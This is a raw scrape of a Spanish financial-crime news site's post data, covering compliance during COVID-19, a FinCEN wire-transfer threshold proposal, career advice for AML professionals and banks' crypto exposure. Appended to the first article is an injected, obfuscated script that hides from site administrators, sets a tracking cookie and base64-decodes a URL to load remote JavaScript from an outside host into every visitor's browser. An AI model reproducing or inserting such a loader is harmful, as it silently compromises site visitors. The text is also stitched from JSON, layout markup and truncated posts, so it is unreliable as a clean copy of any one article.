adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d, lo cual puede ser cotejado en los estudios cient\u00edficos sobre la materia realizados por la Universidad John Hopkins (1), el Instituto de Salud Global de Barcelona (2) y la Organizaci\u00f3n Mundial de la Salud (3).\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con las donaciones; la necesidad de contar con modelos de riesgo diferenciales; y desde el punto de vista penal, el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el aumento en los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos.\n\nPasando al plano empresarial, y resaltando que no es el \u00fanico de los aspectos que debe tener en cuenta un <b><u>Oficial de Cumplimiento<\/u><\/b>, muchas organizaciones de todo el mundo ahora se ven obligadas a buscar formas creativas para enfrentar sus propios desaf\u00edos de administrar equipos descentralizados cuando el trabajo en casa o el distanciamiento social entran en acci\u00f3n, como es el caso de la protecci\u00f3n de datos y la privacidad de la informaci\u00f3n, ya que trabajar en forma remota genera varios riesgos que los profesionales de cumplimiento deben reconocer e intentar mitigar. En consecuencia, se presentan a continuaci\u00f3n los cuatro m\u00e1s importantes:\n<ol>\n \t<li>En primer lugar, los empleados pueden estar utilizando su propio equipo de tecnolog\u00eda de informaci\u00f3n que podr\u00eda compartir con otros miembros de la familia, quienes tambi\u00e9n est\u00e1n confinados en la misma casa. Esto aumenta la posibilidad de que los ni\u00f1os, que a menudo son m\u00e1s conocedores de tecnolog\u00eda de informaci\u00f3n, pero menos conscientes de los riesgos que sus padres, accedan a sitios web y material que no est\u00e1 permitido dentro de los l\u00edmites de la oficina y eludan o ignoran los protocolos de seguridad habituales.<\/li>\n \t<li>En segundo lugar, el equipo de tecnolog\u00eda puede ser viejo y no haber sido instalado regularmente con las \u00faltimas actualizaciones de seguridad que normalmente alertar\u00edan a los usuarios sobre posibles malware o detectar virus. Como resultado, los incidentes de ciberataques y violaciones de datos podr\u00edan aumentar a medida que aumenta el n\u00famero de correos electr\u00f3nicos sospechosos y estafas de phishing.<\/li>\n \t<li>En tercer lugar, las organizaciones pueden encontrarse confiando en aplicaciones, software y herramientas de colaboraci\u00f3n para video o teleconferencias, que en el pasado no quisieron adoptar debido a temores de seguridad inform\u00e1tica y de cumplimiento.<\/li>\n \t<li>Cuarto, en industrias altamente reguladas, como los servicios financieros, es especialmente importante que las organizaciones recopilen, almacenen y archiven todas las comunicaciones de los empleados para garantizar su cumplimiento y para su uso en cualquier investigaci\u00f3n futura potencial. Las funciones de cumplimiento deber\u00e1n encontrar una manera de lograr esto, incluso mientras la fuerza laboral pueda estar trabajando de forma remota y en diferentes plataformas y dispositivos.<\/li>\n<\/ol>\n Si una empresa se enfrenta una interrupci\u00f3n de la cadena de suministro o de las adquisiciones durante esta crisis, existe la posibilidad de que esta se vea presionada para involucrar a nuevos proveedores sin llevar a cabo el nivel adecuado de debida diligencia.\n\nDe los ejemplos mencionados, se pueden desprender las siguientes recomendaciones para los Oficiales de Cumplimiento:\n\n\u2022             Revisar todos los contratos de nuevos proveedores para garantizar que se incorporen los t\u00e9rminos legales apropiados.\n\n\u2022             Revisar las facturas y pagos de proveedores por cualquier se\u00f1al de alerta o anomal\u00edas, y monitorear la conducta para asegurarse de que cumpla con los requisitos reglamentarios y contractuales aplicables.\n\n\u2022             Aplicar un modelo de diligencia debida de terceros diferencial a las contrapartes de acuerdo con su nivel de riesgo.\n\n\u2022             Validar si es necesario la modificaci\u00f3n de pol\u00edticas, procedimientos y controles para responder a los desaf\u00edos de la pandemia.\n\n\u2022             Documentarse y comunicar tanto al interior de la organizaci\u00f3n como a sus contrapartes externas los cambios que se hayan realizado a las pol\u00edticas, procedimientos y controles respectivos.\n\n\u2022             Conservar los soportes documentales de la diligencia debida en una plataforma electr\u00f3nica o base de datos adecuada, para que el cumplimiento de los procedimientos pueda ser auditado posteriormente.\n\nPor \u00faltimo, el hecho de que la mayor parte del negocio funcione en forma remota no significa que no tengan que cumplir con las reglas, solo significa que este proceso podr\u00eda ser un poco m\u00e1s desafiante y lento, por lo que se debe contarse con un Plan de Continuidad del Negocio (ISO 223101 de 2012) en el que la funci\u00f3n del Oficial de Cumplimiento es vital a fin de validar que se lleven a cabo cambios que sean necesarios y garanticen que las funciones esenciales puedan continuar durante y despu\u00e9s de la pandemia.\n\n <b>*Juan Pablo Rodr\u00edguez C.<\/b>\n\nAbogado Penalista\n\nEscritor, conferencista y consultor internacional.\n\nCertified Lead Auditor y Lead Implementer en ISO 37001 Gesti\u00f3n Antisoborno, PECB, 2020\n\nCertified Professional in Anti-Money Laundering \u2013 CPAML de FIBA (Florida International Bankers Association).\n\nCertified on Governance, Risk Management and Compliance Professional (GRCP) y GRC Fundamentals de Open Compliance and Ethics Group (OCEG), 2016\n\nPresidente y Socio de RICS Management.\n\njrodriguez@ricsmanagement.com\n\n <b>**Ren\u00e9 M. Castro V.<\/b>\n\nContador P\u00fablico con Magister en Contabilidad y Auditor\u00eda de Gesti\u00f3n de la Universidad de Santiago de Chile.\n\nEscritor, conferencista y consultor internacional.\n\nCertified Trainer y Lead Compliance Manager en ISO 19600 Gesti\u00f3n de Cumplimiento, PECB, 2020\n\nCertified on Financial Services and Market Regulation, London School of Economics, (LSE), 2016\n\nCertified on Corporate Compliance and Ethics, New York University, 2015.\n\nVice-Presidente & Socio RICS Management\n\nrcastro@ricsmanagement.com\n\n <u>Referencias<\/u>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">1-        https:\/\/coronavirus.jhu.edu\/map.html<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">2-        https:\/\/www.isglobal.org\/covid-19-novedades-cientificas<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">3.         https:\/\/www.who.int\/es\/emergencies\/diseases\/novel-coronavirus-2019\/advice-for-public\/q-a-coronaviruses<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"El Compliance (Cumplimiento) en la nueva normalidad, durante y despu\u00e9s del Covid-19","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-compliance-cumplimiento-en-la-nueva-normalidad-durante-y-despues-del-covid-19","to_ping":"","pinged":"","post_modified":"2025-10-24 17:06:04","post_modified_gmt":"2025-10-24 21:06:04","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25307","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25304,"post_author":"16","post_date":"2020-11-02 15:17:00","post_date_gmt":"2020-11-02 19:17:00","post_content":"<p>Un cambio propuesto en las obligaciones ALD\/CFT en EE.UU. puede llegar a reducir el monto de las transacciones que obliga a enviar informaci\u00f3n sobre los remitentes y receptores de transferencias financieras internacionales a otras instituciones, lo que podr\u00eda agregar m\u00e1s carga de cumplimiento a los bancos que procesan dichos pagos.<\/p><p>FinCEN, la unidad de informaci\u00f3n financiera de EE.UU., y la Junta de la Reserva Federal est\u00e1n buscando comentarios sobre una enmienda que requerir\u00eda que las instituciones financieras recopilen, retengan y transmitan cierta informaci\u00f3n relacionada con transferencias internacionales y transferencias de fondos superiores a US$ 250.<\/p><p>Actualmente, bajo la Ley de Secreto Bancario de EE. UU., los bancos y las instituciones financieras no bancarias de EE.UU. obtienen, conservan y transmiten dicha informaci\u00f3n para las transacciones nacionales e internacionales de US$ 3.000 o m\u00e1s, incluyendo la identidad y la informaci\u00f3n de cuenta del remitente y el destinatario, a otras instituciones financieras a lo largo de la cadena de pago. Las denominadas regulaciones de las reglas de viaje est\u00e1n destinadas a ayudar a las agencias de ley y a los reguladores a investigar y procesar posteriormente las actividades il\u00edcitas mediante la preservaci\u00f3n de un rastro de informaci\u00f3n.<\/p><p>FinCEN y la Junta de la Reserva Federal, en la propuesta publicada el martes en el Registro Federal, sugieren mantener el umbral para transacciones nacionales en US$ 3.000.<\/p><p>La propuesta tambi\u00e9n aclar\u00f3 que la regla tambi\u00e9n se aplica a las transacciones que involucran monedas virtuales o digitales.<\/p><p>Los reguladores hab\u00edan se\u00f1alado que encontraron que transferencias electr\u00f3nicas internacionales por debajo del US$ 3.000 se estaban utilizando para facilitar el financiamiento del terrorismo, el tr\u00e1fico de narc\u00f3ticos y otras actividades il\u00edcitas. Las agencias dijeron que basaron su propuesta parcialmente en un an\u00e1lisis de datos de aproximadamente 2.000 reportes de operaciones sospechosas presentados por instituciones financieras a FinCEN entre 2016 y 2019 que estaban relacionados con posibles transferencias de fondos para el financiamiento del terrorismo.<\/p><p>FinCEN encontr\u00f3 que aproximadamente el 99% de las transacciones subyacentes de estos SAR comenzaron o terminaron fuera de EE. UU. y que los valores promedio y medios en d\u00f3lares de los fondos mencionados en los ROS eran de aproximadamente US$ 509 y US$ 255, respectivamente,\u00a0<a href=\"https:\/\/www.federalregister.gov\/documents\/2020\/10\/27\/2020-23756\/threshold-for-the-requirement-to-collect-retain-and-transmit-information-on-funds-transfers-and\" target=\"_blank\" rel=\"noopener noreferrer\">seg\u00fan la propuesta<\/a>.\u00a0<\/p><p>\u201cEs posible que algunas instituciones financieras no reconozcan o retengan registros de todas las actividades sospechosas por debajo del umbral de US$ 3.000 o el patr\u00f3n sospechoso no se hace visible hasta que se agreguen los registros\u201d, dijeron las agencias en la propuesta. \"Esto podr\u00eda impedir que las autoridades investiguen y mapeen las redes il\u00edcitas\".<\/p><p>El cambio de regla propuesto, para el cual las agencias piden al p\u00fablico que presente comentarios hasta el 27 de noviembre, aumentar\u00eda la carga de cumplimiento para los bancos y podr\u00eda encontrar resistencia de la industria, dijeron los observadores.<\/p><p>Esta nueva iniciativa podr\u00eda significar una carga importante para los bancos que terminar\u00eda encareciendo las transferencias internacionales de menor valor debido a que har\u00eda m\u00e1s caro la supervisi\u00f3n e incrementar\u00eda los costos de cumplimiento.<\/p><p>Sin embargo, las agencias de EE.UU. se\u00f1alaron que el cambio propuesto no deber\u00eda tener un gran impacto en el costo y la eficiencia del sistema de pago. Las agencias dijeron que algunas instituciones financieras ya estaban recopilando informaci\u00f3n sobre algunas de las transacciones por debajo del umbral actual para reportar transacciones sospechosas a FinCEN, o simplemente para mantener un solo conjunto de procesos para todas las transacciones.<\/p>","post_title":"EE.UU. propone bajar el umbral (de US$3.000 a US$250) para la transmisi\u00f3n de datos del remitente y destinatario","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"ee-uu-propone-bajar-el-umbral-de-us3-000-a-us250-para-la-transmision-de-datos-del-remitente-y-destinatario","to_ping":"","pinged":"","post_modified":"2020-11-02 15:19:59","post_modified_gmt":"2020-11-02 19:19:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25304","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"}],"next":false,"prev":true,"total_page":14},"paged":1,"column_class":"jeg_col_3o3","class":"epic_block_9"};</script> </div> </div> </div> </div> </div> </div> </section> <section class="has_eae_slider elementor-section elementor-top-section elementor-element elementor-element-a3c376b elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="a3c376b" data-element_type="section"> <div class="elementor-container elementor-column-gap-default"> <div class="has_eae_slider elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-775b7a7" data-id="775b7a7" data-element_type="column"> <div class="elementor-widget-wrap elementor-element-populated"> <div class="elementor-element elementor-element-89994b6 elementor-widget elementor-widget-epic_archive_pagination_elementor" data-id="89994b6" data-element_type="widget" data-widget_type="epic_archive_pagination_elementor.default"> <div class="elementor-widget-container"> <div class="jeg_navigation jeg_pagination jeg_pagenav_2 jeg_aligncenter no_navtext no_pageinfo"> <span class="page_info">Page 14 of 110</span> <a class="page_nav prev" data-id="13" href="https://www.delitosfinancieros.org/category/noticias/page/13/"><span class="navtext">Previous</span></a> <a class='page_number' data-id='1' href='https://www.delitosfinancieros.org/category/noticias/'>1</a> <span class="page_number dots">…</span> <a class='page_number' data-id='13' href='https://www.delitosfinancieros.org/category/noticias/page/13/'>13</a> <span class='page_number active'>14</span> <a class='page_number' data-id='15' href='https://www.delitosfinancieros.org/category/noticias/page/15/'>15</a> <span class="page_number dots">…</span> <a class='page_number' data-id='110' href='https://www.delitosfinancieros.org/category/noticias/page/110/'>110</a> <a class="page_nav next" data-id="15" href="https://www.delitosfinancieros.org/category/noticias/page/15/"><span class="navtext">Next</span></a> </div> </div> </div> </div> </div> </div> </section> \n<p>Si bien algunos bancos se preocupan por luchar contra el fraude , el primer error es no ver el fraude y las estructuras ALD\/CFTcomo hilos entrelazados de la misma tela criminal.<\/p>\n\n\n\n<p>Los equipos de cumplimiento deben saber comunicarse, coordinar y ser un verdadero aliado de las agencias de aplicaci\u00f3n de ley. Los bancos est\u00e1n rompiendo los silos entre los departamentos de delitos financieros, por lo que un conjunto diverso y variado de habilidades no es solo una ventaja, sino que podr\u00eda ayudar a preparar su carrera para el futuro.<\/p>\n\n\n\n<p><strong>Para mayor seguridad laboral, pruebe con la ciberseguridad<\/strong><\/p>\n\n\n\n<p>Acabamos de mencionar que los silos se est\u00e1n derrumbando y que ALD\/CFT y el fraude deben verse como hilos entrelazados de la misma tela criminal, ahora usted indefectiblemente debe prepararse para para fortalecer su conocimiento y pericia en  ciberseguridad.<\/p>\n\n\n\n<p>Si tiene experiencia cibern\u00e9tica, los oradores se\u00f1alaron que debe comenzar a  aprender m\u00e1s sobre el fraude y ALD\/CFT, ya que informaci\u00f3n tal como la ubicaci\u00f3n geogr\u00e1fica y la direcci\u00f3n IP de los atacantes virtuales son puntos cr\u00edticos para enriquecer los reportes de operaci\u00f3n sospechosa (ROS) para los investigadores, dentro y fuera del banco. Si usted es un fan\u00e1tico de la lucha contra el lavado de dineros o del fraude, descubra por qu\u00e9 la tecnolog\u00eda es un tema tan importante.<\/p>\n\n\n\n<p><strong>No le tema a la tecnolog\u00eda, m\u00e1s bien abr\u00e1cela<\/strong><\/p>\n\n\n\n<p>Para responder a los delincuentes expertos en tecnolog\u00eda, los bancos est\u00e1n comenzando a experimentar con elementos como inteligencia artificial, aprendizaje autom\u00e1tico y automatizaci\u00f3n con la intenci\u00f3n de analizar datos como nunca antes lo han hecho. \u00bfQu\u00e9 significa eso para usted como solicitante de empleo o incluso para alguien que quiere seguir trabajando?<\/p>\n\n\n\n<p>No deje toda la ingenier\u00eda de sistemas, el an\u00e1lisis de datos, el ajuste del monitoreo de transacciones o la investigaci\u00f3n cibern\u00e9tica en manos de proveedores externos o expertos internos. Descubra c\u00f3mo la tecnolog\u00eda puede potenciar su programa para poder responder con precisi\u00f3n y celeridad cuando los reguladores reanuden su rigorosa labor en un mundo postpandemia.<\/p>\n\n\n\n<p>Pero tambi\u00e9n recuerde que puede ser un gran atributo ser autosuficiente cuando se trata de problemas de software. Eso puede incluir algo tan simple como comprender c\u00f3mo desbloquear su PC o volver a conectarse a su wi-fi, sin tener que realizar una llamada a su chico o chica de \"sistemas\".<\/p>\n\n\n\n<p><strong>No se quede atascado en la investigaci\u00f3n<\/strong><\/p>\n\n\n\n<p>Si bien los oradores acordaron en general que estas nuevas tecnolog\u00edas ayudar\u00e1n a descubrir y combatir mejor a los estafadores, lavadores y otros oligarcas corruptos y sus testaferros, nunca reemplazar\u00e1n la necesidad de un profesional de carne y hueso para la toma de decisiones.<\/p>\n\n\n\n<p>Dondequiera que se encuentre en el campo ALD\/CFT, sea cual sea su rol, para ascender necesita aprender m\u00e1s y nunca dejar de aprender. Algunas veces estos aprendizajes se expanden a los mundos virtuales. <\/p>\n\n\n\n<p>Para crear una defensa m\u00e1s s\u00f3lida para su instituci\u00f3n y evitar que su banco se convierta en un conducto para que los grupos criminales laven dinero, debe saber c\u00f3mo intentan limpiar las ganancias il\u00edcitas. \u00bfC\u00f3mo? Manteni\u00e9ndose al d\u00eda con la moneda virtual.<\/p>\n\n\n\n<p>No se desv\u00ede del debate sobre si Bitcoin y otras monedas virtuales son dep\u00f3sitos reales y aut\u00e9nticos de valor, \u201cdinero Monopoly\u201d o algo en el medio. El punto central para los profesionales del cumplimiento es que los delincuentes est\u00e1n utilizando monedas virtuales por sumas de hasta US$1.000 millones de d\u00f3lares.<\/p>\n\n\n\n<p>Entonces, para no quedar pedaleando en el aire por falta de conocimiento, debe aprender qu\u00e9qu\u00e9 monedas virtuales son m\u00e1s riesgosas y poder sopesar los distintos riesgos. Aprenda c\u00f3mo los investigadores rastrean las transacciones \"pseudo\" an\u00f3nimas en la cadena de bloques o blockchain.<\/p>\n\n\n\n<p><strong> <\/strong>\u201cEl desarrollo personal y la creaci\u00f3n de redes con otros profesionales son clave para el crecimiento profesional. \u00a1Nunca deje de estudiar, mantenerse actualizado y crear una conexi\u00f3n significativa! \" dijo un asistente.<\/p>\n\n\n\n<p><strong>Si\u00e9ntase inc\u00f3modo<\/strong><\/p>\n\n\n\n<p>Un orador se\u00f1al\u00f3 que para convertirse en un profesional m\u00e1s completo, debe individualizar aquellas \u00e1reas a las que teme o en las que cree que no es bueno y zambullirse en ellas.<\/p>\n\n\n\n<p>Descubra d\u00f3nde tiene miedo, d\u00f3nde est\u00e1 d\u00e9bil y le falta confianza y convierta esas vulnerabilidades en fortalezas para que tenga menos puntos ciegos cuando se sienta presionado.<\/p>\n\n\n\n<p>El equilibrio es un poderoso aliado cuando los reclutadores de profesionales del \u00e1rea de cumplimiento de delitos financieros analizan su historial laboral general, una medida que puede ayudar a comprender mejor su enfoque hol\u00edstico e integral en \u00e1reas dentro y fuera del  cumplimiento.<\/p>\n","post_title":"Crecer como profesional de cumplimiento, superar el miedo a la tecnolog\u00eda, sentirse \"inc\u00f3modo\" para progresar: Panorama de la Cumbre de Canad\u00e1","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"crecer-como-profesional-de-cumplimiento-superar-el-miedo-a-la-tecnologia-sentirse-incomodo-para-progresar-panorama-de-la-cumbre-de-canada","to_ping":"","pinged":"","post_modified":"2020-11-24 17:57:44","post_modified_gmt":"2020-11-24 21:57:44","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25412","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25400,"post_author":"16","post_date":"2020-11-24 11:21:03","post_date_gmt":"2020-11-24 15:21:03","post_content":"\n<p><\/p>\n\n\n\n<figure class=\"wp-block-embed-youtube wp-block-embed is-type-video is-provider-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\nhttps:\/\/youtu.be\/4bb7abE4e7E\n<\/div><\/figure>\n\n\n\n<p>Recientes novedades en Estados Unidos sugieren que los reguladores se est\u00e1n preparando para la adopci\u00f3n permanente de los activos digitales y esperan que las instituciones financieras comprendan su exposici\u00f3n y mitiguen los riesgos asociados.<\/p>\n\n\n\n<p><strong>Durante los \u00faltimos meses en Estados Unidos:<\/strong><\/p>\n\n\n\n<ul><li>la Oficina del Contralor de la Moneda (OCC) aclar\u00f3 que los bancos nacionales pueden brindar servicios de custodia de activos digitales a los clientes y participar en ciertas actividades de <em>stablecoins<\/em>, tambi\u00e9n llamadas monedas estable,<\/li><li>la Divisi\u00f3n de Banca de Wyoming emiti\u00f3 su primera autorizaci\u00f3n para una instituci\u00f3n depositaria de prop\u00f3sito especiales (SPDI por sus siglas en ingl\u00e9s) para que Kraken se transforme en el primer intercambio de criptomonedas regulado como un banco, y<\/li><li>la Conferencia de Supervisores de Bancos Estatales (CSBS) present\u00f3 un conjunto \u00fanico de reglas de supervisi\u00f3n para que las empresas de criptomonedas puedan expandirse m\u00e1s f\u00e1cilmente en todo el pa\u00eds.<\/li><\/ul>\n\n\n\n<p>Estas novedades significan que los bancos y otras instituciones financieras tienen la oportunidad de pasar a una clase de activos emergentes que crecen en popularidad, particularmente entre los consumidores m\u00e1s j\u00f3venes. Sin embargo, comentarios recientes de Kenneth A. Blanco, Director de la Red de Ejecuci\u00f3n de Delitos Financieros del Departamento del Tesoro (FinCEN), la Unidad de Informaci\u00f3n Financiera de EE.UU., sugieren que incluso los bancos sin intenci\u00f3n de expandir sus negocios al espacio de las criptomonedas deben comprender este universo y monitorear las interacciones de sus clientes con este para cumplir con sus obligaciones regulatorias.<\/p>\n\n\n\n<p>El mes pasado, Blanco habl\u00f3 en una conferencia sobre los esfuerzos de los estafadores para aprovechar la crisis de Covid-19 y la respuesta de su agencia. Pero lo m\u00e1s notable de sus comentarios fue el tiempo que dedic\u00f3 a explicar por qu\u00e9 todos los bancos deben ser conscientes de su exposici\u00f3n a las criptomonedas y el riesgo que asumen al ignorarla.<\/p>\n\n\n\n<p>Espec\u00edficamente, dijo: \u201cUn tema que siempre aparece durante estas conversaciones se relaciona con la mitigaci\u00f3n de los riesgos asociados con los sistemas de pago emergentes, incluida la moneda virtual. Para ser claros, los intercambios de [moneda virtual] no son los \u00fanicos con exposici\u00f3n al riesgo de las monedas criptogr\u00e1ficas. Estos riesgos no son exclusivos de las empresas de servicios monetarios o los cambistas de divisas virtuales; los bancos tambi\u00e9n deben estar pensar en su exposici\u00f3n a las criptomonedas\".<\/p>\n\n\n\n<p>Las palabras de Blanco indican que un banco tradicional puede ser considerado responsable de la actividad il\u00edcita llevada a cabo con criptomonedas por sus clientes, incluso si el propio banco no proporciona servicios de custodia de criptomonedas.<\/p>\n\n\n\n<p>Por ejemplo, si un cliente transfiere fondos de su cuenta bancaria a un cambista de criptomonedas, compra criptomonedas y luego, digamos, env\u00eda esa criptomoneda a un individuo sancionado o al mercado de la red oscura, la exposici\u00f3n del banco a ese riesgo podr\u00eda ser preocupante para los reguladores.<\/p>\n\n\n\n<p>De manera similar, si un cliente extorsiona a otros en esquemas de <em>ransomware<\/em>, acepta criptomonedas en un intercambio que transfiere fondos a su cuenta bancaria, podr\u00eda estar exponiendo a su banco a riesgos. Analizaremos c\u00f3mo los bancos pueden prepararse para incorporar la criptomoneda en sus programas de cumplimiento.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/AdobeStock_192635639-1024x503.jpeg\" alt=\"\" class=\"wp-image-25404\"\/><\/figure>\n\n\n\n<p><strong><u>Comprender la exposici\u00f3n a las criptomonedas y el riesgo<\/u><\/strong><\/p>\n\n\n\n<p>Los bancos que eval\u00faan su riesgo de criptomonedas primero deben preguntarse si tienen alguna forma de identificar a los clientes actuales que usan criptomonedas.<\/p>\n\n\n\n<p>Algunos bancos pueden pensar que ninguno de sus clientes usa criptomonedas. De hecho, cuando la compa\u00f1\u00eda de investigaci\u00f3n de blockchain Chainalisys encuest\u00f3 a un grupo de profesionales de inversi\u00f3n hace un a\u00f1o, casi un tercio estim\u00f3 que ninguno de sus clientes realizaba transacciones con negocios de criptomonedas. Bancos como Wells Fargo han prohibido rotundamente a sus clientes enviar fondos a negocios de criptomonedas, lo que podr\u00eda llevarlos a creer que muy pocos o incluso ninguno de ellos lo est\u00e1n haciendo.<\/p>\n\n\n\n<p>Sin embargo, esto podr\u00eda no ser as\u00ed. Una encuesta reciente de la firma de consultor\u00eda financiera Cornerstone Advisors sugiere que el 15% de los estadounidenses ha comprado criptomonedas de alguna forma, y otro 11% dice que planea hacerlo en un futuro pr\u00f3ximo.<\/p>\n\n\n\n<p>Tambi\u00e9n sabemos por otras encuestas que es a\u00fan m\u00e1s probable que los consumidores m\u00e1s j\u00f3venes hayan comprado criptomonedas. Por lo tanto, parece improbable que cualquier banco con una base de clientes sustancial no tenga al menos algunos clientes que realicen transacciones con negocios de criptomonedas.<\/p>\n\n\n\n<p>Los bancos que informan una adopci\u00f3n nula de criptomonedas entre sus clientes probablemente no est\u00e1n obteniendo una imagen completa y podr\u00edan enfrentar problemas con los reguladores en el futuro.<\/p>\n\n\n\n<p>Si los bancos aceptan que al menos algunos de sus clientes probablemente est\u00e9n comprando criptomonedas, \u00bfc\u00f3mo adoptan un enfoque espec\u00edfico para administrar el riesgo asociado?<\/p>\n\n\n\n<p>El primer paso es conocer los intercambios de criptomonedas m\u00e1s populares. Los intercambios son las rampas principales de entrada y salida entre la criptomoneda y la moneda fiduciaria, y probablemente los lugares m\u00e1s comunes a los que sus clientes enviar\u00edan fondos para comprar criptomonedas. Los bancos necesitan crear un sistema para detectar intercambios en sus mensajes SWIFT, pagos ACH y transacciones con tarjeta de d\u00e9bito.<\/p>\n\n\n\n<p>Los principales intercambios de criptomonedas est\u00e1n en constante evoluci\u00f3n, por lo que los bancos tambi\u00e9n deben monitorearlos en tiempo real para que dicho programa sea efectivo.<\/p>\n\n\n\n<p>Si los bancos comenzaran a monitorear estas empresas en la actividad de sus clientes hoy, inevitablemente encontrar\u00edan transacciones relacionadas con las criptomonedas que no sab\u00edan que estaban sucediendo. A partir de ah\u00ed, deben evaluar el riesgo de esas transacciones en funci\u00f3n de sus pol\u00edticas actuales contra el lavado de dinero, verificando transacciones que sugieran una actividad sospechosa.<\/p>\n\n\n\n<p>A largo plazo, los bancos deber\u00e1n evaluar individualmente todos los intercambios con los que sus clientes realizan transacciones, as\u00ed como cualquier otro negocio de criptomonedas que los clientes est\u00e9n financiando desde sus cuentas bancarias.<\/p>\n\n\n\n<p>Para empezar, deben examinar el modelo comercial \u00fanico de cada intercambio, la calidad del programa de cumplimiento y la jurisdicci\u00f3n de operaci\u00f3n. Pero estos factores cualitativos no son suficientes por s\u00ed solos. Los bancos tambi\u00e9n deben evaluar la efectividad del cumplimiento de los intercambios midiendo su exposici\u00f3n a contrapartes riesgosas en otras partes del ecosistema de criptomonedas.<\/p>\n\n\n\n<p>Estas mediciones ser\u00edan la se\u00f1al m\u00e1s fuerte de si un banco debiera o no hacer comerciar con un negocio de criptomonedas, pero la mayor\u00eda de los bancos no pueden obtener estos datos por s\u00ed mismos, por lo general se pueden asociar con proveedores de datos confiables que tengan un conocimiento del ecosistema de criptomonedas.<\/p>\n\n\n\n<p>A medida que se sientan m\u00e1s c\u00f3modos con el espacio, los bancos tambi\u00e9n pueden trabajar para establecer relaciones con los equipos de cumplimiento en empresas de criptomonedas de renombre que sus clientes utilizan con m\u00e1s frecuencia y trabajar con ellos para resolver problemas juntos.<\/p>\n\n\n\n<p><strong><u>Los bancos deber\u00edan tener una ventaja en las criptomonedas<\/u><\/strong><\/p>\n\n\n\n<p>El tiempo es clave para los bancos, los comentarios de Blanco indican que los reguladores pronto esperar\u00e1n que puedan mostrar c\u00f3mo sus programas de cumplimiento ALD\/CFT abordan la actividad de las criptomonedas y cu\u00e1l es el nivel de riesgo relacionado con las criptomonedas. Los bancos har\u00edan bien en comenzar a recopilar esa informaci\u00f3n ahora, en lugar de esperar hasta que los reguladores la exijan.<\/p>\n\n\n\n<p>Si bien esto puede ser desalentador al principio, los departamentos de cumplimiento de los bancos eventualmente dominar\u00e1n las criptomonedas si toman estos pasos. Despu\u00e9s de eso, \u00bfqui\u00e9n sabe qu\u00e9 podr\u00eda pasar? Los bancos que actualmente no planean involucrarse en el espacio de criptomonedas pueden abrirse a la idea de la adopci\u00f3n institucional a medida que desarrollan e implementan procedimientos para mitigar el riesgo de las criptomonedas.<\/p>\n","post_title":"Los bancos necesitan comprender su exposici\u00f3n a las criptomonedas incluso si no toman custodia de estas","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"los-bancos-necesitan-comprender-su-exposicion-a-las-criptomonedas-incluso-si-no-toman-custodia-de-estas","to_ping":"","pinged":"","post_modified":"2020-11-24 16:21:23","post_modified_gmt":"2020-11-24 20:21:23","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25400","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25409,"post_author":"16","post_date":"2020-11-23 11:33:00","post_date_gmt":"2020-11-23 15:33:00","post_content":"\n<p>Estados Unidos contin\u00faa liderando en la lucha contra la 